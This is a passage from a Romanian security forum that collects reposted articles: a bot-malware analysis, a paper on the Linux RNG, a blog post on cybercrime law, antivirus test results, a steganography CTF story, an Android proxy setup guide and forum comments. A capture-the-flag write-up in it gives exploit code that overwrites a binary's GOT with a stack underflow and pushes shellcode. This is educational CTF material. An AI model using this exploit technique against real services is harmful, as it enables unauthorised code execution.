‘restoration utility’ to gain high privilege (Figure 19). If the user denies it, the malware will continue to pop up warnings and re-prompt the user several times. The malware prepares warnings in the following languages: Russian, Portuguese, German, French, Dutch, Arabic, Hindi, Persian, simplified Chinese, Turkish, Indonesian, Italian, Spanish, Polish, Japanese and Vietnamese. It will choose one of them according to the system’s default language locale to avoid language inconsistency raising the user’s suspicion. Conclusion As this analysis shows, the communication protocol has reserved enough space for new functionalities to be added in the future. There are unused fields in both the request and response structure and there are four streams in the response data that don’t have any code to handle. Though Neurevt has just entered the market, the bot’s author is likely to develop it rapidly - we will undoubtedly see new features of Neurevt soon. Sursa: Fortinet Blog | News and Threat Research NEUREVT Bot Analysis

[h=2]Facebook wants to read your SMS messages[/h]Written by Nick Farrell Targeted adverts Facebook's latest update to its hugely popular mobile app is creating a storm by asking British users if it can access their SMS and MMS messages. Thanks to the fact that Facebook is a US company, it means that the US spooks can tap the social notworking site to read your mails. While many of us can’t imagine what use the NSA will have knowing that my wife is coming home and I need to get more cat litter, there are some companies which should be jolly concerned – particularly now it is known that the US is stealing secrets from foreign organisations. Facebook simply wants to access more of your data to feed you more targeted ads, although Facebook Android engineer Franci Penov said that it needed to read your SMS’s to automatically intercept login approvals SMS messages for people that have turned on 2-factor authentication. It seems then I was right not to be dumb enough to give Google or Facebook my mobile number as this 2-factor authentication is more of a security nightmare than it is a help. The reason Facebook needs access to all your messages rather than just from a specific number, is that Android's permissions system does not allow for it to do that. He said that data is not sent back to the company's servers, which means it could not be used to help put adverts in your timeline based on what you have written in your messages. But in IT security the path to hell is paved with good intentions. It sounds to me that a system which is set up to read SMS messages can be a vulnerability waiting to happen. Assuming that it has not already. Sursa: Facebook wants to read your SMS messages

Analysis of the Linux Random Number Generator Zvi Gutterman Safend and The Hebrew University of Jerusalem Benny Pinkas University of Haifa Tzachy Reinman The Hebrew University of Jerusalem March 6, 2006 Abstract Linux is the most popular open source project. The Linux random number generator is part of the kernel of all Linux distributions and is based on generating randomness from entropy of operating system events. The output of this generator is used for almost every security protocol, including TLS/SSL key generation, choosing TCP sequence numbers, and file system and email encryption. Although the generator is part of an open source project, its source code (about 2500 lines of code) is poorly documented, and patched with hundreds of code patches. We used dynamic and static reverse engineering to learn the operation of this generator. This paper presents a description of the underlying algorithms and exposes several security vulnerabilities. In particular, we show an attack on the forward security of the generator which enables an adversary who exposes the state of the generator to compute previous states and outputs. In addition we present a few cryptographic flaws in the design of the generator, as well as measurements of the actual entropy collected by it, and a critical analysis of the use of the generator in Linux distributions on disk-less devices. 1 Introduction Randomness is a crucial resource for cryptography, and random number generators are therefore critical building blocks of almost all cryptographic systems. The security analysis of almost any system assumes a source of random bits, whose output can be used, for example, for the purpose of choosing keys or choosing random nonces. Weak random values may result in an adversary ability to break the system, as was demonstrated by breaking the Netscape implementation of SSL [8], or predicting Java session-ids [11]. Since a physical source of randomness is often too costly, most systems use a pseudo-random number generator. The state of the generator is seeded, and periodically refreshed, by entropy which is gathered from physical sources (such as from timing disk operations, or from a human interface). The state is updated using an algorithm which updates the state and outputs pseudo-random bits. This paper studies the Linux pseudo-random number generator (which we denote as the LRNG). This is the most popular open source pseudo-random number generator, and it is embedded in all running Linux environments, which include desktops, servers, PDAs, smart phones, media centers, and even routers. Properties required of pseudo-random number generators. A pseudo-random number generator must be secure against external and internal attacks. The attacker is assumed to know the code of the generator, and might have partial knowledge of the entropy used for refreshing the generator’s state. We list here the most basic security requirements, using common terminology (e.g., of [3]). (A more detailed list of potential vulnerabilities appears in [14].) Download: http://www.pinkas.net/PAPERS/gpr06.pdf

[h=2]Using the Mozilla crypto object from JavaScript[/h] Mozilla defines a special JavaScript object to allow web pages access to certain cryptographic-related services. These services are a balance between the functionality web pages need and the requirement to protect users from malicious web sites. Most of these services are available via the DOM window object as window.crypto. Services are provided to enable: smart card events, generating certificate requests, importing user certs, generating random numbers, logging out of your tokens, and signing text. Articol: https://developer.mozilla.org/en-US/docs/JavaScript_crypto

Care CSS, style.css? Cum sa dispara?

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Toate ca toate, dar vorbeste in pula mea romaneste. "Dar inceput pentru voi exista doar la final." - GhostHckWH

Seamana cu asta: How To Hack – Use SET on Kali to Create Backdoor EXE Meterpreter Session with Persistence | Daca recunosti ca l-ai copiat nu primesti ban.

Methodology: Security plan for wireless networks By: Stephen Blair Mandeville A. Summary The evolution to wireless networks allows connections with the same quality of data transfer at a lower cost but also has the consequence of having to use security mechanisms and data encryption. This conclusion is based on the needs and problems that arise with everyday use of wireless networks. These consequences, far from presenting small problems, can be large and disastrous in some cases. The magnitude of the problem isn’t the determinant of its importance as the smallest detail can result in an irreparable loss not only financially but also of information. Our research begins with the 802.11 standard and discusses its general characteristics. Then we focus on the analysis and implementation of WPA2 technology and different security plans as a solution to current problems. Actually the important increase in the use of wireless networks has resulted in the development of security mechanisms that were initially overcome by malicious users. This is why it is proposed to implement WPA2 technology as standard security in all types of wireless networks using a methodology that consist of: the password creation, security plan creation, and software protection permitting greater wireless network complexity and security. Download: http://www.exploit-db.com/wp-content/themes/exploit/docs/31170.pdf

Da, am vazut inainte sa postez. S-a mai schimbat ceva intre timp la aceste legi?

Sa va dau un exemplu. Cunosc o persoana care activa pe forum, care a gasit un SQL Injection intr-un site "guvernamental", a scos versiunea, nimic altceva, L-A RAPORTAT, i-a ajutat pe aia sa il repare si a fost tarat prin tribunale.

O sa scoata din burta niste sume exporbitante: pagube in valoare de 300.000 de $. Asta fiind cica pentru pagubele de imagine si pentru repararea problemelor descoperite.

[h=3]Infractiunile informatice din Noul Cod Penal[/h]12:41:17, by bogdan Am avut o discutie cu amicul Max de la e-crime.ro care imi atrage atentia asupra infractiunilor informatice , asa cum apar ele in Noul Cod Penal adoptat pe 25 Iunie de Parlament si care va intra in vigoare nu se stie cind. (conform textului adoptat trebuie ca Guvernul sa propuna o lege speciala in acest sens). Aveti la finalul acestei insemnari intreaga lista de infractiuni identificata de Max (mersi!) ca avind legatura cu domeniul informatic/electronic. Din partea mea, continui sa sustin ca a fost o prostie sa se treaca codurile ca rata prin apa, fara o dezbatere publica serioasa. Si va dau doua exemple din articolele de mai jos ref la infractiuni informatice. (plus un bonus) 1. A fost inserat un nou articol 230, care face infractiune folosirea f?r? drept a unui terminal de comunica?ii al altuia sau folosirea unui terminal de comunica?ii racordat f?r? drept la o re?ea, dac? s-a produs o pagub?. Asta imi aduce aminte de o prezentarea de-a lui Max la seminariile de la Constanta si Timisoara. Presupun ca si noul articol ar fi legat de acte ca wardriving sau piggybacking. (poate ar fi si pentru altele care imi scapa). Dar e un subiect discutabil si sensibil in situatia in care ne referim la un mod de conectare la Internet din ce in ce mai raspandit. Adica daca folosesti WiFi-ul altuia si ii produci o paguba - ar fi infractiune. Dar este un punct de acces WiFi un terminal de comunicatii ? As zice ca mai degraba ca nu…, terminalul fiind calculatorul sau telefonul care se conecteaza la Internet. Poate fi racordat fara drept daca e un WiFi neprotejat ? Eu as zice ca nu. Daca nu se refera la asta, atunci la ce actiuni se refera articolul ? 2. Articolul 374 privind pornografia infantila preia fostul articol 51 din legea 161., dar adauga un nou segment, care pina la 27 Mai 2009, a fost intr-un fel de consultare publica ce ar fi trebuit sa continue in septembrie. (3) Accesarea, f?r? drept, de materiale pornografice cu minori, prin intermediul sistemelor informatice sau altor mijloace de comunica?ii electronice, se pedepse?te cu închisoare de la 3 luni la 3 ani sau cu amend?. Adica am avut o discutie si gata, ce mai vreti ? Mai mult - in legea 161, era definita sintagma “fara drept”, ceea ce mai aducea putina lumina. Acum prezentul text e schiop de-a dreptul. Ce inseamna accesarea cu drept a materialelor pornografice cu minori ? Adica doar cei ce investigheaza asta? Oare accesarea unei coperti a unui album al lui Scorpions e infractiune au ba ? (ca oricum se face un cache al paginii) - Vezi scandalul din Marea Britanie din decembrie 2009. Bonus Sa ne arucam o privire si asupra art. 226 - Violarea vie?ii private. Eu l-as citi ca adio camera ascunsa sau investigatii jurnalistice in sensul asta. Altfel, ajungi in instanta sa masoare un judecator daca ce ai descoperit tu e mai important pentru comunitate sau e mai importanta viata lui privata. Care vrea sa riste ? (1) Atingerea adus? vie?ii private, f?r? drept, prin fotografierea, captarea sau înregistrarea de imagini, ascultarea cu mijloace tehnice sau înregistrarea audio a unei persoane aflate într-o locuin?? sau înc?pere ori dependin?? ?inând de aceasta sau a unei convorbiri private se pedepse?te cu închisoare de la o lun? la 6 luni sau cu amend?. (2) Divulgarea, difuzarea, prezentarea sau transmiterea, f?r? drept, a sunetelor, convorbirilor ori a imaginilor prev?zute în alin. (1), c?tre o alt? persoan? sau c?tre public, se pedepse?te cu închisoare de la 3 luni la 2 ani sau cu amend?. (3) Ac?iunea penal? se pune în mi?care la plângerea prealabil? a persoanei v?t?mate. (4) Nu constituie infrac?iune fapta s?vâr?it?: a) de c?tre cel care a participat la întâlnirea cu persoana v?t?mat? în cadrul c?reia au fost surprinse sunetele, convorbirile sau imaginile, dac? justific? un interes legitim; dac? persoana v?t?mat? a ac?ionat explicit cu inten?ia de a fi v?zut? ori auzit? de f?ptuitor; c) dac? f?ptuitorul surprinde s?vâr?irea unei infrac?iuni sau contribuie la dovedirea s?vâr?irii unei infrac?iuni; d) dac? surprinde fapte de interes public, care au semnifica?ie pentru via?a comunit??ii ?i a c?ror divulgare prezint? avantaje publice mai mari decât prejudiciul produs persoanei v?t?mate. (5) Plasarea, f?r? drept, de mijloace tehnice de înregistrare audio sau video, în scopul s?vâr?irii faptelor prev?zute în alin. (1) ?i alin. (2), se pedepse?te cu închisoarea de la unu la 5 ani. ... art. 230 - Folosirea fara drept a unui terminal de comunicatii al altuia sau folosirea unui terminal de comunicatii racordat fara drept la o retea, daca s-a produs o paguba (1) Furtul care are ca obiect un vehicul, s?vâr?it în scopul de a-l folosi pe nedrept, se sanc?ioneaz? cu pedeapsa prev?zut? în art. 228 sau art. 229, dup? caz, ale c?rei limite speciale se reduc cu o treime. (2) Cu pedeapsa prev?zut? în alin. (1) se sanc?ioneaz? folosirea f?r? drept a unui terminal de comunica?ii al altuia sau folosirea unui terminal de comunica?ii racordat f?r? drept la o re?ea, dac? s-a produs o pagub?. ARTICOL COMPLET: http://legi-internet.ro/blogs/index.php/infractiuni-informatice-noul-cod-penal

Da, chiar daca nu merge si pe IE.

Test comparativ Antivirus – Nov\Dec 2013 (AV-Test.org) By Radu FaraVirusi(com) on January 26, 2014 AV-Test.org a dat publicitatii un nou test complex care include cele mai utilizate 25 programe de tip Security Suite de pe piata pentru utilizatorii casnici. Este realizat in perioada Nopiembrie – Decembrie 2013 pe un sistem Windows 8.1, rezultatele fiind destul de interesante, toate produsele primind certificarea AV-TEST.org, cu exceptia Microsoft Security Essentials, AhnLab si K7 Computing. Au fost folosite trei criterii mari de departajare: protectie, performanta si impactul asupra utilizarii PC-ului. Fiecare din ele avea un maxim posibil de 6 puncte. Criteriul “Protectie” combina detectia statica si dinamica a virusilor, inclusiv testarea unor atacuri de ultima ora. In cazul “Performantei” a fost testat impactul unui produs de securitate asupra resurselor sistemului in timpul unor activitati obisnuite: accesare internet, copiere documente, descarcare fisiere etc. “Alarmele false si usurinta in utilizare” a evaluat alarmele false generate la accesarea unor site-uri, rularea unor programe sau blocarea unor actiuni legitime ale diverselor programe instalate. Pentru a primi certificarea AV-Test.org, un produs trebuie sa atinga minim 11 puncte. Au fost evaluate produsele timp de 2 luni in ceea ce priveste virusii de ultima ora printr-un test de tip Real-World (site-uri infectate, virusi propagati prin email) – 110 mostre si testul “clasic” pe un set mai mare de malware (19.604 virusi). Toti virusii au fost colectionati in cele doua luni de testare. In ceea ce priveste Protectia unui PC, o componenta cheie, avand in vedere ca a proteja e mai de dorit decat a devirusa… noua producatori au primit maximul de puncte – 6 si anume Avira, BitDefender, G Data, Kaspersky, Panda Cloud, Trend Micro, Symantec, F-Secure, MicroWorld eScan. Ca o remarca interesanta trei din cele 9 au motorul BitDefender la baza si doar unul singur este produs gratuit. Alte 5 produse au primit cate 5.5 puncte. La polul opus cu o protectie insuficient de buna s-au situat: Tencent, K7 Computing, AhnLab si Microsoft. Care este impactul asupra performanteti PC-ului? Aici, doar doua produs au obtinut 6 puncte si anume: BitDefender si Kaspersky. Pe de alta parte, cele mai slabe la acest capitol au fost: AhnLab, Norman, Kingsoft. In ce priveste alarmele false si usurinta in utilizare 10 programe au obtinut cate 6 puncte. La polul opus s-au situat COMODO cu 4 puncte. In final, clasamentul produselor pentru utilizatori casnici (top 3) arata astfel: BitDefender, Kaspersky – 18 Avira – 17.5 F-Secure, Qihoo – 16.5 G Data – 16 BullGuard, Panda Cloud, Trend Micro – 15.5 Si iata ca avem doi lideri, BitDefender si Kaspersky, care merg la pas cu un scor perfect la toate capitolele. Avira se apropie de lider, o crestere laudabila si promitatoare: 17.5 puncte in total. Pentru detalii complete asupra fiecarui produs si rezultatele defalcate pe fiecare categorie si subcategorie accesati link-ul urmator: http://www.av-test.org/en/tests/home-user/windows-8/novdec-2013/ Sursa: Test comparativ Antivirus – Nov\Dec 2013 (AV-Test.org)

Shmooganography 2014 Posted on January 24, 2014 by Brian Cardinale This past weekend I attended ShmooCon 2014, which is an annual east coast hacking conference where like minded, and sometimes unlike minded people gather to exchange ideas and have a generally good time. The conference provides a forum for various speakers to present their research. Among the varying and interesting talks presented there are also many contests around the conference. There are a number of Capture the Flag (CTF) contests involving wireless, binary reversing, trivia and cryptography as well as steganography, which is the practice of hiding a message in plain site. We took a crack at the steganography challenge and here is an outline of our experience and thought process. Shmooganography was announced at the opening ceremony and we were told to investigate a huge Star Gate portal at the other end of the con. There to be was found a large Star Gate portal made out of printed cardboard cutouts and Christmas lights which were pulsating to the sound of the Star Gate theme music playing repeatedly. Also, there was a bar code scanner with the instruction to scan your registration bar code to determine which Star Gate character out of 5 you were. Conferences promote social interaction within and outside the community and this first challenge promoted this social interaction. In order to obtain the first glyph, five bar codes need to be scanned that would render the five different Star Gate characters and render the first glyph, which ended up being Scorpio, and the next clue. “The dial spins and chevrons are engaged. Getting the order correct yields the next generation” The next clue lead to investigating the four card board Shmooganography posters scattered across the Washington Hilton conference area that featured an ancient Star Gate with nine chevrons. The poster had nine chevrons either fully colored red or partially colored. The nine chevrons then pointed to 8 boxes on the right hand side, one chevron being disconnected. The color of the chevrons and the order changed between the posters. During this part of the challenge a hint was released on the Shmooganography site. “Stage 2: What the chevron on each gate points to doesn’t matter as much as whether it is on. Or off. Or connected at all. “ On and off was a big hint indicating the chevrons were a binary representation with 8 positions, which can yield the numbers 0-255. This information coupled with the 4 separate signs indicated that we had 4 sets of 8 binaries which bares a striking resemblance to the description of an IP address. The order of the numbers played a roll, but the number of positions didn’t limit the ability to guess. Another clue was released to provide the proper order as no one as making it past these phase in any timely manner. None of the IP addresses we derived were responding to network traffic or even in this country which made the whole decoding process questionable. There was a lot of head scratching at this point. We hit a wall. Then this hint was posted: “Stage 2: The chevrons are broken. The creator made a mistake. They should decode to 205.134.172.239 (when put in order). Still refer to the previous hints to know what to do with this information.” Please return your chair to the upright and vertical positions. OK, so now there is a working IP address, finally. Time to investigate what is listening at the other end. Here is where nmap is your friend! A couple web ports are open, all of which redirect to ShmooCon 2014 - January 17-19 - Welcome. The last hint said to refer to previous hints. “Stage 2: Need to echo a change of host… URL – CON + COM – ORG” This was interpreted as adding an entry into our hosts files for the newly acquired IP address. Using the math provided by the hint, “con” and “com” get removed from from “www.shmoocon.org”, and “com” gets added yielding “www.shmoo.com”. The host file was updated to The Shmoo Group to 205.134.172.239. Now, the IP address returns the shmoo.com homepage, but no further clues to the game, back to the hints. “Stage 2: Know your glyphs! Start with Earth in the northeast corner. Take it from there. First letter each, upper case. Don’t forget Hint #2. “ Earth was one of the glyths in the poster boards that were not connected to a position. The other glyths not connected to a position on the board were: Orion, Hydra, Equuleus, Capricornus. The capital first letters of which spell out ECHO. Time to try: www.shmoo.com/ECHO Bingo! The clue was vague. Port knocking was a theory. If we connected to two separate ports, another may appear. At this time we broke out and went to the ShmooCon Reception to go cash in on our free drinks. Thanks ShmooGroup! At the reception, we were able to talk to the organizer of the contest and air our, er, frustrations over the IP address and learn a little about them. They were genuinely cool guys and this information might come in handy later. So, remember its important to socialize at cons for all sorts of reasons! The next morning we went back down the Star Gate to try to decode the next clue. Another hint was released: “Stage 3: The black hole casts a hue; but it is sound which activates its data transfer. That Gate music has a nice beat to it. “ There were two boxes in the area that black lights in them, which satisfied the “black hole” and “hue” part, but how to activate them with sound was not obvious. There was a black device taped inside the box, but no visible serial numbers. We attempted to play the Star Gate theme music into the box to see if the black light would start flashing morse code, but alas no luck. Referring back to the SAGITTARIUS clue concerning two gates being connected we decided to start rhythmically tapping both boxes to see what happens. After a few moments, there was audio coming out of one of the boxes and squeals coming out of me. We activated the portal! The sound the played was an audio clip from the show Star Gate which read the following: “Humans and material obviously traverse the wormholes, but the event horizon conveys much more.” 00:00 00:00 Also in the clip was audible noise. A signal! We recorded the message and broke off to some place quiet to start decoding the signal. Loading the recorded file in Audacity and switching to the spectrogram view yields the following. There is clearly data inside this file! The question is how is it encoded? An important lesson in these challenges is to try and not over think things, but that didn’t stop us from diving deep into the rabbit hole looking into signal encoding. There are 27 positions of data which is odd for computer signals to not have an even number. The frequency of the signals also did not correlate to DTMF tones which was an early theory we held. We were stumped. Then another clue was released. “10: Stage 3: Don’t be hexed by pieces of eight. “ Easy for you to say, game maker! At this point the conference closing ceremony was coming upon us as well as the end of the time frame allowed for the challenge and we have yet still to determine the data. It was actually a good clue we later realized at the closing ceremonies. I believe the signal was a representation of octal if I recall correctly. Its a little fuzzy as we were drinking our woes away for being beat by an eleven year old! We may have worked against ourselves, and pointed him in the direction of the portals with the audio signal, cause that’s what this experience was all about learning something new and helping others learn it to! Congrats, Kid! We’ll get you next year! Sursa: Shmooganography 2014 | Cardinale Concepts

Ghost in the Shellcode: TI-1337 (Pwnable 100) Hey everybody, This past weekend was Shmoocon, and you know what that means—Ghost in the Shellcode! Most years I go to Shmoocon, but this year I couldn't attend, so I did the next best thing: competed in Ghost in the Shellcode! This year, our rag-tag band of misfits—that is, the team who purposely decided not to ever decide on a team name, mainly to avoid getting competitive—managed to get 20th place out of at least 300 scoring teams! I personally solved three levels: TI-1337, gitsmsg, and fuzzy. This is the first of three writeups, for the easiest of the three: TI-1337—solved by 44 teams. You can download the binary, as well as the exploit, the IDA Pro files, and everything else worth keeping that I generated, from my Github repository. Getting started Unlike some of my teammates, I like to dive head-first into assembly, and try not to drown. So I fired up IDA Pro to see what was going on, and I immediately noticed is that it's a 64-bit Linux binary, and doesn't have a ton of code. Having never in my life written a 64-bit exploit, this would be an adventure! Small aside: Fork this! I'd like to take a quick moment to show you a trick I use to solve just about every Pwn-style CTF level: getting past that pesky fork(). Have you ever been trying to debug a vuln in a forking program? You attach a debugger, it forks, it crashes, and you never know. So you go back, you set affinity to 'child', you debug, the debugger follows the child, catches the crash, and the socket doesn't get cleaned up properly? It's awful! There is probably a much better way to do this, but this is what I do. First, I load the binary into IDA and look for the fork() call: .text:00400F65 good_connection: ; CODE XREF: do_connection_stuff+39j .text:00400F65 E8 06 FD FF FF call _fork .text:00400F6A 89 45 F4 mov [rbp+child_pid], eax .text:00400F6D 83 7D F4 FF cmp [rbp+child_pid], 0FFFFFFFFh .text:00400F71 75 02 jnz short fork_successful You'll note that opcode bytes are turned on, so I can see the hex-encoded machine code along with the instruction. The call to fork() has the corresponding code e8 06 fd ff ff. That's what I want to get rid of. So, I open the binary in a hex editor, such as 'xvi32.exe', search for that sequence of bytes (and perhaps some surrounding bytes, if it's ambiguous), and replace it with 31 c0 90 90 90. The first two bytes—31 c0—is "xor eax, eax" (ie, clear eax), and 90 90 90 is "nop / nop / nop". So basically, the function does nothing and returns 0 (ie, behaves as if it's the child process). You may want to kill the call to alarm(), as well, which will kill the process if you spend more than 30 seconds looking at it. You can replace that call with 90 90 90 90 90—it doesn't matter what it returns. I did this on all three levels, and I renamed the new executable "<name>-fixed". You'll find them in the Github repository. I'm not going to go over that again in the next two posts, but I'll be referring back to this instead. The program Since this is a post on exploitation, not reverse engineering, I'm not going to go super in-depth into the code. Instead, I'll describe it at a higher level and let you delve in more deeply if you're interested. The main handle_connection() function can be found at offset 0x00401567. It immediately jumps to the bottom, which is a common optimization for a 'for' or 'while' loop, where it calls the code responsible for receiving data—the function at 0x00401395. After receiving data, it jumps back to the top of handle_connection() function, just after the jump to the bottom, where it goes through a big if/else list, looking for a bunch of symbols (like '+', '-', '/' and '*'—look familiar?) After the if/else list, it goes back to the receive function, then to the top of the loop, and so on. Receive, parse, receive, parse, etc. Let's look at those two pieces separately, then we'll explore the vulnerability and see the exploit. Receive As I mentioned above, the receive function starts at 0x00401395. This function starts by reading up to 0x100 (256) bytes from the socket, ending at a newline (0x0a) if it finds one. This is done using a simple receive-loop function located at 0x0040130E that is worthwhile going through, if you're new to this, but that doesn't add much to the exploit. After reading the input, it's passed to sscanf(buffer, "%lg", ...). The format string "%lg" tells sscanf() to parse the input as a "double" variable—a 64-bit floating point. Great: a x64 process handling floating point values; that's two things I don't know! If the sscanf() fails—that is, the received data isn't a valid-looking floating point value—the received data is copied wholesale into the buffer. A flag at the start of the buffer is set indicating whether or not the double was parsed. Then the function returns. Quite simple! Processing the data I mentioned earlier that this binary looks for mathematical symbols—'+', '-', '*', '/' in the received data. I didn't actually notice that right away, nor did the name "TI-1337" (or the fact that it used port "31415"... think about it) lead me to believe this might be a calculator. I'm not the sharpest pencil sometimes, but I try hard! Anyway, back to the main parsing code (near the top of the function at 0x00401567 again)! The parsing code is actually divided into two parts: a short piece of code that runs if a valid double was received (ie, the sscanf() worked), and a longer one that runs if it wasn't a double. The short piece of code simply calls a function (spoiler alert: the function pushes it onto a global stack object they use, not to be confused with the runtime stack). The longer one performs a bunch of string comparisons and does soemthing based on those. I think at this point I'll give away the trick: whole application is a stack-based calculator. It allocates a large chunk of memory as a global variable, and implements a stack (a length followed by a series of 64-bit values). If you enter a double, it's pushed onto the stack and the length is incremented. If you enter one of a few symbols, it pops one or more values (without checking if we're at the beginning!), updates the length, and performs the calculation. The new value is then pushed back on top of the stack. Here's an example session: (sent) 10 (sent) 20 (sent) + (sent) . (received) 30 And a list of all possible symbols: + :: pops the top two elements off the stack, adds them, pushes the result - :: same as '+', except it subtracts * :: likewise, multiplication / :: and, to round it out, division ^ :: exponents ! :: I never really figured this one out, might be a bitwise negation (or might not, it uses some heavy floating point opcodes that I didn't research ) . :: display the current value b :: display the current value, and pop it q :: quit the program c :: clear the stack And, quite honestly, that's about it! That's how it works, let's see how to break it! The vulnerability As I alluded to earlier, the program fails to check where on the stack it currently is when it pops a value. That means, if you pop a value when there's nothing on the stack, you wind up with a buffer underflow. Oops! That means that if we pop a bunch of times then push, it's going to overwrite something before the beginning of the stack. So where is the stack? If you look at the code in IDA, you'll find that the stack starts at 0x00603140—the .bss section. If you scroll up, before long you'll find this: .got.plt:00603018 off_603018 dq offset free ; DATA XREF: _freer .got.plt:00603020 off_603020 dq offset recv ; DATA XREF: _recvr .got.plt:00603028 off_603028 dq offset strncpy ; DATA XREF: _strncpyr .got.plt:00603030 off_603030 dq offset setsockopt ; DATA XREF: _setsockoptr ... The global offset table! And it's readable/writeable! If we pop a couple dozen times, then push a value of our choice, we can overwrite any entry—or all entries—with any value we want! That just leaves one last step: where to put the shellcode? Aside: floating point One gotcha that's probably uninteresting, but is also the reason that this level took me significantly longer than it should have—the only thing you can push/pop on the application's stack is 64-bit double values! They're read using "%lg", but if I print stuff out using printf("%lg", address), it would truncate the numbers! Boo! After some googling, I discovered that you had to raise printf's precision a whole bunch to reproduce the full 64-bit value as a decimal number. I decided that 127 decimal places was more than enough (probably like 5x too much, but I don't even care) to get a good result, so I used this to convert a series of 8 bytes to a unique double: sprintf(buf, "%.127lg\n", d); I incorporated that into my push() function: /* This pushes an 8-byte value onto the server's stack. */void do_push(int s, char *value) { char buf[1024]; double d; /* Convert the value to a double */ memcpy(&d, value, 8); /* Turn the double into a string */ sprintf(buf, "%.127lg\n", d); printf("Pushing %s", buf); /* Send it */ if(send(s, buf, strlen(buf), 0) != strlen(buf)) perror("send error!"); } And it worked perfectly! The exploit Well, we have a stack (one again, not to be confused with the program's stack) where we can put shellcode. It has a static memory address and is user-controllable. We also have a way to encode the shellcode (and addresses) so we wind up with fully controlled values on the stack. Let's write an exploit! Here's the bulk of the exploit: int main(int argc, const char *argv[]){ char buf[1024]; int i; int s = get_socket(); /* Load the shellcode */ for(i = 0; i < strlen(shellcode); i += 8) do_push(s, shellcode + i); /* Pop the shellcode (in retrospect, this could be replaced with a single 'c') */ for(i = 0; i < strlen(shellcode); i += 8) do_pop(s); /* Pop until we're at the recv() call */ for(i = 0; i < 38; i++) do_pop(s); do_push(s, TARGET); /* Send a '.' just so I can catch it */ sprintf(buf, ".\n"); send(s, buf, strlen(buf), 0); sleep(100); return 0; } ou can find the full exploit here! Conclusion And that's all there is to it! Just push the shellcode on the stack, pop our way back to the .got.plt section, and push the address of the stack. Bam! Execution! That's all for now, stay tuned for the much more difficult levels: gitsmsg and fuzzy! January 24, 2014 Ron Bowes Sursa: https://blog.skullsecurity.org/2014/ghost-in-the-shellcode-ti-1337-pwnable-100

[h=3]Android Assessments with GenyMotion + Burp[/h]s much as I love Android app assessments, I kept coming across the same problem: Do I waste time trying to ‘root’ an Android device or deal with the incredibly buggy, slow, unresponsive, and overly difficult to work with Android emulator that comes with the Android SDK bundle? Then I was introduced to Genymotion: an Android emulator based on the AndroVM Open Source project (AndroVM blog | Running Android in a Virtual Machine). Genymotion utilizes VirtualBox to run an Android OS within a Virtual Machine. This results in a drastic increase in speed, response, stability, and ease of use. I've been working with Genymotion for a little while now and wanted to compile a bunch of things I've learned how to do in order to make it easier for others to have a consolidated resource. Downloading and Installing Genymotion Standing up a new Android OS VM Useful features within Genymotion (Drag & Drop, etc.) Using ADB with Genymotion to install applications Configure the Android VM to pass all web traffic through Burp Using ADB with Genymotion to install a Burp SSL Certificate Troubleshooting ARM error and adding Google Play support within Genymotion Upon installation you are prompted to provide the same credentials that were created to login and download Genymotion. This will let you connect to the Genymotion cloud and download a pre-built Android VM. My Android testing environment consists of a MacBook Pro although all of the tools/techniques used in this post are platform independent. I am also going to use Burp Suite Pro and Free 1.5 which is also platform independent. Lastly, while I talk about utilizing the Android SDK/ADT/ADB and installing APK applications, I do not cover how to set up your Android SDK/ADT/ADB or find APK applications outside of Google Play. Downloading and Installing Genymotion: Genymotion requires the use of VirtualBox. The Windows 32/64 bit download of Genymotion comes with VirtualBox however, the OS X and Linux versions do not and therefore it must be installed separately. The link can be found here. VirtualBox must be installed first, before the installation of Genymotion. In order to download Genymotion, a free sign-up is required. Once the email address on the account has been verified a link to download Genymotion can be accessed. The link to sign up and download Genymotion can be found here. Standing up a new Android OS VM: Select 'Galaxy Nexus - 4.3 - API 18 - 720x1280' Click 'Next'. The VM will automatically downloaded from the Genymotion cloud. Once the download is complete and the VM has been successfully installed within VirtualBox it should be listed under 'Your Virtual Devices'. Click the 'Play' Button to run the VM for the first time. If everything is successful the VM should be running. Useful Features within Genymotion: This feature list is not all inclusive however I wanted to point out a few features I found to be useful when setting up my environment. In addition, I want to point out that for developers - Genymotion has an IntelliJ IDEA plugin as well as an Eclipse plugin to be able to push the app you are developing directly to your Android VM through ADB. By clicking on the 'Settings' icon the Genymotion settings menu will appear. Under the 'Network' Tab are proxy settings for Genymotion to be able to reach out to its cloud service and download new VMs and updates. NOTE: This setting is NOT for configuring the Android VM to send web traffic through a proxy. That will be covered in a later section. Under the ADB Tab you can point Genymotion to the SDK directory within your Android development environment. Within the Android VM, Genymotion installs a configuration application that allows for some environment modifications. Since the VM is already 'rooted' there are not a lot of configuration settings that need to be modified on this screen however, it is useful to enable the use of the physical keyboard for input. If any settings are modified within this application the VM will require a reboot. The last and most useful feature within Genymotion is the drag and drop feature. This feature can be used to transfer files and install applications to the Android VM environment. Simply drag a file from the host's desktop or a folder directly into the Android VM. Once the file transfer is complete the Android OS will notify the user where the file is located within the OS (by default it is '/sdcard/Download'). Using ADB to Install Applications: ADB can be used to push and pull files as well as install Android applications. However, as mentioned in the section above, the ADB environment path must be properly specified within Genymotion. Using ADB commands verify that a device is listed. Then using the syntax of ./adb install <path/to/.apk_file>, install the Android Application. If the installation is successful ADB will prompt 'Success' upon completion. The newly installed application should now be available for use within the Android VM. However, an easier way of installing Android Applications into the Android VM is to simply utilize Genymotions drag and drop feature. Simply drag and drop an APK file into the VM and the application should install successfully and be ready for use within the VM environment. Configure the Android VM Proxy and Burp: For performing security assessments as well as validating an application in development it is necessary to view the web traffic that is passed back and forth between the client (android application installed on an end device) and its corresponding server. It is possible to configure the Android VM within Genymotion to pass all of its web traffic through a web proxy such as Burp. Verify the current IP address of the host machine. In the instance above, the IP address of the host machine is: 192.168.1.11. We will later set the proxy within the Android VM to this IP address. Within the Android VM go to Settings. Cick on Wi-Fi. Click and hold 'WiredSSID' until a box pops up. Click on 'Modify network'. Check the 'Show advanced options' box and select 'Manual' from the Proxy Settings menu. Specify the host IP address and set a default port for the proxy to listen on. In this case my host IP was 192.168.1.11 and the listening port was 8080. When those changes have been made click 'Save' and exit out of Settings. At this point the Android VM should be completely configured to pass web traffic to the web proxy. However, the web proxy must be configured to listen on the host IP we specified within the Android VM. For the purposes of this blog I chose to use Burp Suite as it is one of the most common and widely used web proxies around. Launch Burp Suite Pro or Free. Click on the top 'Proxy' tab then click on the 'Options' secondary tab. Lastly, click on the 'Add' button to add a new proxy listener. Specify the listener port that we defined within the Android VM (in our case port 8080). Also, click on the 'Specific address' radio button and from the drop down select the IP address specified within the Android VM (in our case it was 192.168.1.11). When complete click 'OK' to return to the previous screen. Verify that the new proxy listener has been added and that a check box is located next to the listener to ensure it is enabled. If all of the settings 